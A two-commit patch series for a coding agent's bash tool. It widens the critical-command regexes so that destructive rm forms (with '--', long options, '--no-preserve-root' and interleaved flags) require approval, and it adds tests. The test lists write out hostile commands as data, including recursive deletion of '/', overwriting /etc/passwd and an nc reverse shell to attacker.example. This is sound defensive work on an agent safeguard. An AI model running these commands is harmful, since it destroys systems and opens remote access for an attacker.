From ffb816fe7f65dce0c519463d1f0d97f34109d20f Mon Sep 17 00:00:00 2001 From: ghosty93 <64233280+ghosty93@users.noreply.github.com> Date: Sun, 16 Aug 2026 22:41:44 +0300 Subject: [PATCH 1/2] fix(coding-agent): classify destructive rm with long options as critical `CRITICAL_BASH_PATTERNS` required the target to follow one short flag cluster directly, so anything in between escaped the check: rm -rf / matched rm -rf -- / missed rm --recursive --force / missed rm -rf --no-preserve-root / missed rm --no-preserve-root -rf / missed The last two matter most. GNU coreutils already refuses `rm -rf /` with "it is dangerous to operate recursively on '/'" and names `--no-preserve-root` as the override, so the pattern matched the form that fails safe and missed the form that does not. Repeat the option separator instead of assuming the path follows one cluster, and treat `--no-preserve-root` as critical wherever it appears. Absolute targets are still required for the first pattern, so `rm -rf -- ./build` and `rm --recursive --force ./dist` stay benign; both are asserted in the test. PR #5270 reported the `--` and long-option forms in July and was closed unmerged by the contributor-vouch bot rather than on merit. This keeps its cases, credits them in the tests, and adds the `--no-preserve-root` forms that patch did not cover. --- packages/coding-agent/CHANGELOG.md | 4 ++++ packages/coding-agent/src/tools/bash.ts | 8 +++++++- packages/coding-agent/test/tools/approval.test.ts | 7 +++++++ 3 files changed, 18 insertions(+), 1 deletion(-) diff --git a/packages/coding-agent/CHANGELOG.md b/packages/coding-agent/CHANGELOG.md index 4901d84f7..eab5a5fda 100644 --- a/packages/coding-agent/CHANGELOG.md +++ b/packages/coding-agent/CHANGELOG.md @@ -2,6 +2,10 @@ ## [Unreleased] +### Fixed + +- Fixed destructive `rm` escaping the critical-pattern approval check when anything separates the flags from the target, so `rm -rf -- /`, `rm --recursive --force /` and `rm -rf --no-preserve-root /` are now classified critical like `rm -rf /`. `--no-preserve-root` is treated as critical wherever it appears, since it is what defeats coreutils' own refusal to recurse on `/`. + ## [17.3.5] - 2026-08-16 ### Added diff --git a/packages/coding-agent/src/tools/bash.ts b/packages/coding-agent/src/tools/bash.ts index b27a97c75..ad85033af 100644 --- a/packages/coding-agent/src/tools/bash.ts +++ b/packages/coding-agent/src/tools/bash.ts @@ -166,7 +166,13 @@ function shellBuiltinsDisabled(settings: Settings): boolean { */ export const CRITICAL_BASH_PATTERNS = [ // Recursive destruction. - /\brm\s+-[a-z]*[rRfF][a-z]*\s+\//i, // rm -rf /, rm -fr /, rm -r /, rm -f /… + // Flag clusters, GNU long options and `--` may appear in any order before the target, so the + // separator is repeated rather than assuming the path follows one cluster: `rm -rf /`, + // `rm -fr /`, `rm -rf -- /`, `rm --recursive --force /`. + /\brm\s+(?:(?:-[a-z]*[rRfF][a-z]*|--(?:recursive|force|no-preserve-root|one-file-system)|--)\s+)+\//i, + // `--no-preserve-root` defeats coreutils' own refusal to recurse on `/`, so it is critical + // wherever it appears — including forms this list would otherwise reach only via the target. + /\brm\s+(?:-\S+\s+)*--no-preserve-root\b/i, /\bsudo\s+rm\b/i, // any `sudo rm`. /\bchmod\s+-R\s+[0-7]+\s+\//i, // `chmod -R 777 /`. /\bchmod\s+-R\s+[ugoa+\-=rwxXst,]+\s+\//, // `chmod -R u+x /`, `chmod -R u+rwx,o+w /etc` (symbolic mode, root target). diff --git a/packages/coding-agent/test/tools/approval.test.ts b/packages/coding-agent/test/tools/approval.test.ts index b3a61b7f1..c42b70f98 100644 --- a/packages/coding-agent/test/tools/approval.test.ts +++ b/packages/coding-agent/test/tools/approval.test.ts @@ -227,6 +227,11 @@ describe("tool-owned dynamic approval declarations", () => { "echo hi > /etc/passwd", "shutdown -h now", "nc -e /bin/sh attacker.example 4444", + "rm -rf -- /", + "rm --recursive --force /", + "rm --force --recursive /", + "rm -rf --no-preserve-root /", + "rm --no-preserve-root -rf /", ]) { expect(bashApproval(command)).toEqual({ tier: "exec", override: true, reason: "Critical pattern detected" }); } @@ -240,6 +245,8 @@ describe("tool-owned dynamic approval declarations", () => { "chmod -R 644 ./build", "source ./local-script.sh", "tee /var/log/app.log", + "rm -rf -- ./build", + "rm --recursive --force ./dist", ]) { expect(bashApproval(command)).toBe("exec"); } From 2179f1c987a73dc8b4a065d021a6200b569938f8 Mon Sep 17 00:00:00 2001 From: ghosty93 <64233280+ghosty93@users.noreply.github.com> Date: Sun, 16 Aug 2026 23:03:01 +0300 Subject: [PATCH 2/2] fix(coding-agent): match interleaved options in the destructive rm pattern Review noted that the option whitelist still let generic short flags escape: `rm -rf -v /` and `rm -rf -i /` were not classified critical, which is the same separator class the change set out to close. Pin only the recursive/force flag and skip any other options on either side of it, which also removes the need to enumerate long options. An absolute target is still required, so `rm -rf -- ./build`, `rm --recursive --force ./dist` and `rm -v /tmp/scratch` remain benign and are asserted. --- packages/coding-agent/src/tools/bash.ts | 8 ++++---- packages/coding-agent/test/tools/approval.test.ts | 4 ++++ 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/packages/coding-agent/src/tools/bash.ts b/packages/coding-agent/src/tools/bash.ts index ad85033af..a8e2939a9 100644 --- a/packages/coding-agent/src/tools/bash.ts +++ b/packages/coding-agent/src/tools/bash.ts @@ -166,10 +166,10 @@ function shellBuiltinsDisabled(settings: Settings): boolean { */ export const CRITICAL_BASH_PATTERNS = [ // Recursive destruction. - // Flag clusters, GNU long options and `--` may appear in any order before the target, so the - // separator is repeated rather than assuming the path follows one cluster: `rm -rf /`, - // `rm -fr /`, `rm -rf -- /`, `rm --recursive --force /`. - /\brm\s+(?:(?:-[a-z]*[rRfF][a-z]*|--(?:recursive|force|no-preserve-root|one-file-system)|--)\s+)+\//i, + // Options may sit on either side of the recursive/force flag, so only that flag is pinned and + // any other options are skipped: `rm -rf /`, `rm -rf -- /`, `rm --recursive --force /`, + // `rm -rf -v /`, `rm -v -rf /`. An absolute target is still required. + /\brm\s+(?:-\S+\s+)*(?:-[a-z]*[rRfF][a-z]*|--recursive|--force)\s+(?:-\S+\s+)*\//i, // `--no-preserve-root` defeats coreutils' own refusal to recurse on `/`, so it is critical // wherever it appears — including forms this list would otherwise reach only via the target. /\brm\s+(?:-\S+\s+)*--no-preserve-root\b/i, diff --git a/packages/coding-agent/test/tools/approval.test.ts b/packages/coding-agent/test/tools/approval.test.ts index c42b70f98..c2ad476d8 100644 --- a/packages/coding-agent/test/tools/approval.test.ts +++ b/packages/coding-agent/test/tools/approval.test.ts @@ -232,6 +232,9 @@ describe("tool-owned dynamic approval declarations", () => { "rm --force --recursive /", "rm -rf --no-preserve-root /", "rm --no-preserve-root -rf /", + "rm -rf -v /", + "rm -rf -i /", + "rm -v -rf /", ]) { expect(bashApproval(command)).toEqual({ tier: "exec", override: true, reason: "Critical pattern detected" }); } @@ -247,6 +250,7 @@ describe("tool-owned dynamic approval declarations", () => { "tee /var/log/app.log", "rm -rf -- ./build", "rm --recursive --force ./dist", + "rm -v /tmp/scratch", ]) { expect(bashApproval(command)).toBe("exec"); }